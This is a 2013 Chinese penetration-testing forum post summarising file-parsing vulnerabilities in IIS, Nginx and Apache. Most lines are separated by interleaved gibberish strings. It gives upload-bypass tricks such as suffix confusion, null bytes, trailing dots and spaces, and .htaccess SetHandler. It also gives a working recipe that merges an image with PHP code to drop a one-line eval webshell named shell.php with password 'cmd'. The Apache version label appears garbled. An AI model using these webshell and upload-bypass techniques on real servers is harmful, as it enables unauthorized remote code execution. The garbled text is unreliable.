中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
2 d Q: P7 d% A8 Q
[+]IIS6.0
p- H# v. u5 I
6 J& L$ |# F- w9 F! u; C# \
目录解析:/xx.asp/xx.jpg
% C" u: X- v6 m
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
& k- R" t- b0 Z( p5 I. A; @
IIS6.0 会将 xx.jpg 解析为 asp 文件。
& |2 H; e& a+ f' [: J
后缀解析:/xx.asp;.jpg
# }' {* a. R. q
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
5 V! m" J) L1 G" W
默认解析:/xx.asa
, k* L$ ]2 P$ r( C6 z% T9 B0 G
/xx.cer
6 S! h7 F% R& I9 m f; ]& a0 u
/xx.cdx
6 Y' t+ k7 D; `+ k. J+ e
IIS6.0 默认的可执行文件除了 asp 还包含这三种
9 N8 [$ c) a8 k9 |
此处可联系利用目录解析漏洞
0 z% P* u& p- q4 z0 ^4 ~* k5 h
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
. e, Y6 |( W( T6 O
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
9 {' G# @9 _' ?" `: X; l
4 b! K/ V9 S( L% s% B
IIS 7.0/IIS 7.5/Nginx <0.8.03
% A6 x) a. ?9 ` Z; P6 ]1 C, |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
; C4 E6 d' A' Z5 }
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
" e$ @, J% a+ I9 \ Z
常用利用方法:
9 [# {2 D; _1 h8 F4 d# X
将一张图和一个写入后门代码的文本文件合并将恶意文本
- M" ~9 @" i+ C0 c( V
写入图片的二进制代码之后,避免破坏图片文件头和尾
4 q6 T2 z( q# W) k5 e
如:
9 E: H# p1 N x# T H# n
copy xx.jpg /b + yy.txt/a xy.jpg
( j3 \) n" x0 ~8 W$ m- n' b
#########################################################
; [. B# f, `2 a& B. ~7 o
/b 即二进制[binary]模式
' P; z; w/ v8 C! [3 a5 Z) R
/a 即ascii模式
- I* P8 _0 X9 w" X; f+ a7 O" ^( e# ?+ I4 R
xx.jpg 正常图片文件
/ a/ W" l8 n. s
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
3 v+ H9 i6 w$ a- t9 n
'<?php eval($_POST[cmd])?>');?>
( O9 G1 B) I- H0 {
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
. z. ~+ o+ @! g
为shell.php的文件
. P- G/ m6 o% K( B* P+ A
###########################################################
/ k7 C* M- e K2 ~& Q0 @6 M
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
, L% V8 M# X, D9 P
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
9 S( Z+ Z4 g# B% E3 T4 c% O
密码 cmd
/ ~0 V6 m3 n6 c/ @. n
[+]Nginx <0.8.03
" J: M, | Z6 l9 e
. w" A' Y- j' b; @" v
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
7 y+ h+ Z, J! k+ G9 }( c4 X, Q
在一个文件路径(/xx.jpg)后面加上%00.php
8 ?2 X. ?) S; m3 E
会将 /xx.jpg%00.php 解析为 php 文件。
! ` P) o" t, T2 Y. U; h0 @% `
[+]Apache<0.8.03
( @# k2 j8 o! v# a
6 N. V# B) f0 v1 C
后缀解析:test.php.x1.x2.x3
3 L! b' v2 i8 H% D% ?6 v! s
Apache将从右至左开始判断后缀,若x3非可识别后缀,
% b" R/ ~0 O8 f* `( i( ~
再判断x2,直到找到可识别后缀为止,然后将该可识别
9 i9 g {& `/ D3 _+ J- {" a
后缀进解析test.php.x1.x2.x3 则会被解析为php
( u0 b- m5 N* u, C/ {0 G
经验之谈:php|php3|phtml 多可被Apache解析。
/ s) _/ D* r* M7 Z
[+]其他一些可利用的
8 ~7 R" [& C+ J$ G' ~
, ^ k9 ]/ E4 o- o5 ~" H
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
1 F( ]1 x. S7 t( u4 b
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
4 L2 r5 `- c& t, K* P2 D' X
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
3 \' h% f& k8 z% C& V& L
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
2 b/ {1 O; X( R9 U
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
! h* T! M' r. d# t, |, O k* }
{Linux主机中不行,Linux允许这类文件存在}
% v6 F% _" X& V* B$ p0 H0 G4 Q
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
7 C* L. E# O9 X1 J2 i3 ?7 \
的,当初我并不知道),且可以被上传,那可以尝试在
. U: ~" h0 E/ }. o/ ^3 L
.htaccess中写入:
8 h5 T0 X7 M1 C T7 \4 [
<FilesMatch “shell.jpg”>
" h; q5 }3 ~7 c+ Y
SetHandler application/x-httpd-php
+ |8 U3 |8 I$ |- v- S5 @) Q
</FilesMatch>
, B2 T0 e- e8 S& n6 N3 F4 N
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
2 m0 _! q( U" f$ b) }4 g/ O e9 j) j
[+]错误修改
I) z7 ]6 Y( t/ I* i3 Z
$ m( L, Y6 q3 ~( U! p& ~5 F5 [
在 IIS 6.0 下可解析 /xx.asp:.jpg
# _6 Y/ B9 w7 a& `! ]. ^" X
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
7 S( J2 c. l& z8 j) E
剩下/xx.asp}修改:
, C+ L; r- A$ F2 i! i0 D8 V
先谢谢核攻击的提醒
5 f; n' [4 }# m8 D7 d2 b" V
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
# p+ ?6 C) o( j' B2 _ f4 t
里是没有任何内容的,因为。。不好解释 大家自己看
% d; ~" O* w: R: K
http://lcx.cc/?i=2448
) l U1 e3 p9 G/ {" Y( H
http://baike.baidu.com/view/3619593.htm
% O- {# J+ p1 M; y9 K
- H+ W! f2 M$ J1 b6 [) k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2